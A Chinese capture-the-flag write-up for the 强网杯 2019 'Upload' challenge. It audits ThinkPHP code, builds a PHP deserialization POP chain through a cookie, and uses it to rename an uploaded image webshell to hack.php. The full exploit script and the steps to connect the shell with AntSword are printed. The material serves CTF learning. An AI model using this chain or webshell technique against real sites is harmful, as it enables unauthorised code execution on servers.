代码审计[三] [强网杯 2019]Upload -图片马反序列化重命名

news/2024/10/19 4:24:49

代码审计

[强网杯 2019]Upload

源码下载www.tar.gz

源码一大坨

用phpstorm可以看到有两处下断点的地方,属于是提示了。分别是

application\web\controller\Profile.php

image-20241017181158780

application\web\controller\index.php,可以发现这里存在反序列化操作,接收的参数是base64解码后的cookie值

image-20241017181443336

这里先讲一下thinkphpd的一些特性

在 ThinkPHP 中,URL 通常遵循以下格式:

/模块/控制器/方法

假设默认的模块是 web,那么访问以下 URL:

/index

相当于请求了:

/web/index/index

即:

  • 模块web
  • 控制器Index
  • 方法index()

路由解析过程

  • 当你访问

    /index
    

    时,框架会按照 URL 解析规则:

    • 解析到控制器是 app\web\controller\Index
    • 调用该控制器中的 index() 方法。

因此,访问 /index 会触发 Index 控制器的 index() 方法。

解题

两个提示处看一下,一个是接收cookie的序列化值,一个是register.php中析构函数。

同时发现profile.php中有可用的魔术方法__get()__call()

整个流程是通过反序列化,触发update_img方法,并且绕过其中的部分判断,最终到达下面这段函数,来修改已上传的图片马名字

        if($this->ext) {if(getimagesize($this->filename_tmp)) {@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}

pop链

首先从析构函数出发,触发进Profile()类中

    public function __destruct(){//$this->registed=0if(!$this->registed){// $this->checker=Profile()$this->checker->index();}}

由于Profile->index() 不存在,触发了 __call 方法,$this->{$name}$this->index又刚好触发__get,但是返回值是except[$name]数值的值,那就需要一个键名为$name键值为upload_img的except数组。这样子 $this->{$this->{$name}}($arguments);就会成为upload_img($arguments)

$this->{$this->{$name}}($arguments):这里是双重的动态调用,首先 $this->{$name} 获取属性的值(假设是一个方法名),然后调用该方法并传入 $arguments 参数。

    public function __get($name){//$this->except[index]return $this->except[$name];}public function __call($name, $arguments){//name=indexif($this->{$name}){$this->{$this->{$name}}($arguments);}}

其他问题

pop链子已经构造好了,但是还是需要处理别的来东西来让触发成功执行

  public function upload_img(){//$this->checker=0if($this->checker){if(!$this->checker->login_check()){$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";$this->redirect($curr_url,302);exit();}}if(!empty($_FILES)){$this->filename_tmp=$_FILES['upload_file']['tmp_name'];$this->filename=md5($_FILES['upload_file']['name']).".png";$this->ext_check();}//ext=1,进入此处进行重命名操作if($this->ext) {//filename_tmp=你图片马上传的路径if(getimagesize($this->filename_tmp)) {//filename=重命名后的文件名字@copy($this->filename_tmp, $this->filename);@unlink($this->filename_tmp);$this->img="../upload/$this->upload_menu/$this->filename";$this->update_img();}else{$this->error('Forbidden type!', url('../index'));}}else{$this->error('Unknow file type!', url('../index'));}}

最终exp

<?php
namespace app\web\controller;class Register{public $checker;public $registed =0;}
class Profile{public $checker =0 ;public $filename_tmp="./upload/065831472858248584ff4993846d5065/3c2a5c7f9c572389f5db2a27f9651436.png";public $upload_menu;public $filename="./upload/hack.php";public $ext=1;public $img;public $except=array("index"=>"upload_img");
}$a = new Register();
$a->checker = new Profile();echo base64_encode(serialize($a));

在home下刷新拦包,修改cookie为反序列化的那串base64,然后疯狂刷新几次,就能看到upload/hack.php了,由于浏览器编码的原因可能你看不到马在哪,蚁剑连接即可

后话

这cookie卡我好久,上传后不知道是不是路由缓存还没更新的原因,一直都显示upload目录404,最终解决办法是a浏览器挂着upload目录,b浏览器执行传cookie操作,这样子才能看到东西

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/72890.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

[MySQL] MySQL数据库中唯一标识符(ID)的梳理总结

0 引言mysql 数据库中有各类id,在近期初步研究 flink cdc 、debezium、mysql server id、server uuid、gtid、sesion id/connection id等相关概念后,基本有了一定的认知,趁热打铁,记录总结下来。概述 server id = debezium BinaryLogClient 的 sid server uuid transaction…

k8s基本命令

k8s基本命令 k8s describe命令 kubectl describe显示一个或多个资源的详细信息crictl系列命令 crictl 是一个与 k8s 容器运行时接口(CRI)兼容的命令行接口,用于检查和调试 Kubernetes 节点上的容器。 crictl pods # 列出所有pod crictl images # 列出所有镜像 crictl pull h…

20222418 2024-2025-1 《网络与系统攻防技术》实验二实验报告

1.实验内容 (1)使用netcat获取主机操作Shell,cron启动某项任务 (2)使用socat获取主机操作Shell, 任务计划启动 (3)使用MSF meterpreter生成可执行文件(后门),利用ncat传送到主机并运行获取主机Shell (4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容的…

20222414 2024-2025-1 《网络与系统攻防技术》实验二实验报告

实验内容 本周学习内容: 本周学习了Shellcode技术,以及学习了一部分后门与免杀技术的相关知识,主要是一些后门的攻击案例。 1.使用netcat获取主机操作Shell,cron启动 2.使用socat获取主机操作Shell, 任务计划启动 3.使用MSF meterpreter(或其他软件)生成可执行文件,利用…

数据采集实践作业2

作业一 1.实验内容 要求:在中国气象网(http://www.weather.com.cn)给定城市集的7日天气预报,并保存在数据库 代码如下: import requests import sqlite3 from bs4 import BeautifulSoup# 定义获取天气信息的函数 def get_weather_info(city_id):url_template = http://www…

Hadoop3.X高可用环境搭建

目录一.基础环境准备1.角色分配2.准备软件源3.部署JDK环境4.配置host文件解析5.配置ssh免密登录6.编写data_rsync.sh同步脚本二.安装zookeeper环境1.zookeeper集群的节点数量选择2.下载zookeeper软件3.解压软件包4.配置环境变量5.准备配置文件6.同步数据7.生成myid文件8.启动zo…

安装虚拟机

每一步都很清晰,包括配置网络,一些基本的使用安装虚拟机CentOS 创建时间:2024-1016 地址: 通过网盘分享的文件:镜像文件 链接: https://pan.baidu.com/s/1Up2IrB_hzXPc0omfhrkl9Q?pwd=b82q 提取码: b82q --来自百度网盘超级会员v6的分享 1.准备好镜像2.在vmware 创建虚拟…

Codeforces Round 893 (Div. 2)题解记录

题目链接:https://codeforces.com/contest/1858 A. Buttons从自身角度出发,我想赢就得保证我的按钮尽可能多所以,大家都优先按\(c\),然后分析先后顺序即可#include<iostream>#include<string.h>#include<map>#include<vector>#include<set>#i…